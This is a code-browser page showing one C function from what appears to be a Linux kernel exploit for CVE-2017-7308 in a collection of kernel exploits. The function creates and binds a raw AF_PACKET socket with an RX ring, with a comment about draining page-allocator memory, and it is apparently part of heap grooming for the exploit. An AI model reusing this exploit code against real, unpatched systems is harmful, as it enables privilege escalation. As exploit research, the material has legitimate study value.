MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / packet_socket_setup

Function packet_socket_setup

CVE-2017-7308/exploit.c:104–131  ·  view source on GitHub ↗

(1-2) 消耗页面分配器的 0x8000

Source from the content-addressed store, hash-verified

102}
103// (1-2) 消耗页面分配器的 0x8000
104int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
105 unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
106 int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
107 if (s < 0) {
108 perror("[-] socket(AF_PACKET)");
109 exit(EXIT_FAILURE);
110 }
111
112 packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
113 sizeof_priv, timeout);
114
115 struct sockaddr_ll sa;
116 memset(&sa, 0, sizeof(sa));
117 sa.sll_family = PF_PACKET;
118 sa.sll_protocol = htons(ETH_P_ALL);
119 sa.sll_ifindex = if_nametoindex("lo");
120 sa.sll_hatype = 0;
121 sa.sll_pkttype = 0;
122 sa.sll_halen = 0;
123
124 int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
125 if (rv < 0) {
126 perror("[-] bind(AF_PACKET)");
127 exit(EXIT_FAILURE);
128 }
129
130 return s;
131}
132
133void packet_socket_send(int s, char *buffer, int size) {
134 struct sockaddr_ll sa;

Callers 2

oob_setupFunction · 0.70
pagealloc_padFunction · 0.70

Calls 2

socketClass · 0.85

Tested by

no test coverage detected